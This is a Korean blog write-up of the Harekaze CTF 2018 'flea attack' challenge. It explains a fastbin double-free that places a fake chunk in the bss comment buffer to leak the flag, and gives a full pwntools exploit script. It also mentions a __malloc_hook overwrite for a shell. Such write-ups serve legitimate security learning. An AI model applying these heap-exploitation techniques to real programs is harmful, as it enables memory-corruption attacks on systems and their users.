Write-up

[Harekaze CTF 2018] Flea attack writeup v1

ch4rli3kop 2018. 2. 26. 17:34
반응형

아쉽게 대회 때 풀지 못한 flea attack이다. 당시에는 사실 풀 방법이 생각나지 않았는데, double free에 대해서 잘 몰랐었다; 아무튼 지금은 잘 알게 되었으니, 열심히 이용해서 익스를 짜야겠다.


현재까지 flea attack을 풀 수 있는 세 가지정도의 방법을 알아냈다. 알아낸 방법 모두 write up를 작성할 계획이다.

1. double free 를 이용해서 fake chunk 를 comment 에 만들어주어,  add_name으로 할당하면서 printf(Name : %s\n)로 flag까지 출력.

2. heap에 flag가 저장되어 있음. printf(Name : %s\n)을 이용해서 flag를 출력.

3. 역시 마찬가지로 double free 를 이용해서 할당하는데, fake chunk를 __malloc_hook 같은 함수의 got 에 만들어주어, 할당하면서 got overwrite 를 하여 쉘을 땀.


첫 번째 방법

double free bug와 bss 영역에서 comment 뒤에 flag가 온다는 점을 이용한다. add_name 에서 comment 영역을 동적 할당받아, flag까지 쭉 채워서 printf(Name : %s\n)로 flag를 leak 할 수 있다.


문제 분석

add_name()이라고 이름을 붙인 이 함수를 보면, 사용자는 원하는 크기의 chunk를 malloc으로 할당받을 수 있으며, 할당받은 크기만큼 데이터를 쓸 수 있다. 그리고 그 데이터는 %s 를 이용하여, NULL을 만나기 전까지 출력이 된다. 할당받은 heap 주소도 알 수 있다.

[ add_name 함수 ]


del_name()이라고 이름붙인 이 함수에서는 단순히 사용자가 입력한 주소를 free하는 것을 볼 수 있다.

[ del_name 함수 ]


시나리오

  • fake chunk를 만든 뒤, double free를 이용해서 fake chunk를 할당받는다.

fastbin에 들어갈 수 있는 적당한 0x40 크기의 chunk(헤더 포함하면, 실제 사이즈 0x50)을 두 번 할당받은 뒤, 1 -> 2 -> 1 순으로 free 한다. 

malloc(0x40)  # 1 할당

malloc(0x40)  # 2 할당

free(1)           # 1 free  / 이후 fastbinsY 0x40 :  &1 <- 0x0

free(2)           # 2 free  / 이후 fastbinsY 0x40 :  &2 -> &1 <- 0x0

free(1)           # 1 free  / 이후 fastbinsY 0x40 :  &1 -> &2 -> &1 <- 0x0

fastbin에 있는 free된 chunk는 malloc으로 할당될 때, 자신의 fd 위치에 있는 값을 fastbinsY에 주고 할당이 된다. 따라서 fastbin의 경우에, free 된 chunk의 fd(chunk의 헤더를 가리킨다.)를 조작할 수 있다면, 그 chunk가 할당된 후 같은 크기의 chunk가 할당될 시, 조작된 주소로 할당을 받을 수 있다. 단, 여기서 크기 값을 검사하기 때문에 fd + 8 (x64의 경우) 위치에 해당 fastbin chunk의 크기로 받을 수 있는 값이 존재해야 함을 주의해야한다. 

0x40이라는 크기는 comment에서 할당받았을 때, 적당히 어느정도 크기 이상의 공간을 할당받아야하기 때문에, 대충 적당한 크기를 구한 것이다.


comment에 할당받기 위해, 검사할 size는 comment에 만들어주어, 이곳에 fake chunk를 만든다. 주의해야 할 점은, comment 입력 시 \n가 붙어서 fastbin의 크기를 갖는 값으로 size를 주기가 어렵다는 점인데, comment를 입력받는 곳을 자세히 보면 original_fgets(&comment, 96)으로 입력을 받는다. 함수를 살펴보면, 이는 for문을 통하여 95번 입력을 받는데, 매 번 read함수로 입력받은 값이 널이면, 해당 부분은 \n으로 만들어준다. 허나, 마지막 번째인 comment[94]가 널문자가 아닌 특정 값인 경우 \n 개행문자가 붙지않는데, 이를 이용하여 size를 만들어 줄 수 있다.

[ original_fgets 인자 ]

[ original_fgets 함수 구조 ]




같은 크기로 malloc하여, fake chunk가 할당되도록 연결 리스트를 조작해주고, fake chunk의 주소(헤더 주소)는 size의 주소에서 -8을 한 0x204056으로 만들어준다. 해당 작업이 끝난다면, fastbinsY의 상태와 heap은 아래와 같을 것이다.

[ fastbinsY ]

[ heap ]

[ bss 영역 comment ]

[ fake chunk ]

fake size 값을 0x51로 해준 이유는 할당 받는 크기가 헤더를 포함하여 0x50이고 플래그를 고려했기 때문이다. 근데 사실 같은 fastbin 크기에만 있어도 할당이 가능하기 때문에, size의 범위는 0x50 ~ 0x5f 면 아무거나 사용이 가능하다.


이제 0x40크기로 malloc을 세 번 수행하면, 세 번째로 할당받은 chunk의 name에서, NULL을 만나기 전까지 모든 것을 출력하는 %s의 특성덕분에 flag를 leak하여 구할 수 있다. flag는 적당하게 MANDU{MANDU_IS_Delicious!}로 만들었다.



exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
 
def Add_name(size, name, fl = False):
    r.sendlineafter("> "str(1))
    r.sendlineafter("Size: "str(size))
    r.sendlineafter("Name: "str(name))
    r.recvuntil("Name: ")
    name = r.recvline()
    if fl == True:
        flag = r.recvline()
        success('flag : ' + flag)
    r.recvuntil("Addr: ")
    addr = r.recvline()
    return int(addr,16)
 
def Del_name(ptr):
    r.sendlineafter("> "str(2))
    r.sendlineafter("Addr: ",str(ptr))
 
 
#r = remote("problem.harekaze.com",20175)
= process("./flea_attack")
#context.log_level = 'debug'
raw_input(">> START")
r.recvuntil(":")
 
 
comment = ""
comment += "A"*94
comment += p64(0x51# 0x50 ~ 0x5f
 
r.sendline(comment) # comment
 
## add 2 ##
addr1 = Add_name(0x40,"A"*16)
print "address 1 = 0x{0:x}".format(addr1)
addr2 = Add_name(0x40,"A"*16)
print "address 2 = 0x{0:x}".format(addr2)
 
## double free ##
Del_name(hex(addr1))
Del_name(hex(addr2))
Del_name(hex(addr1))
 
Add_name(0x40,p64(0x204056))
#raw_input(">>")
Add_name(0x40,"B"*16)
Add_name(0x40,"C"*16)
raw_input(">> CHECK")
Add_name(0x40,"D"*0x19,True)
 
 
r.interactive()
cs

아직 두 개 남았따



반응형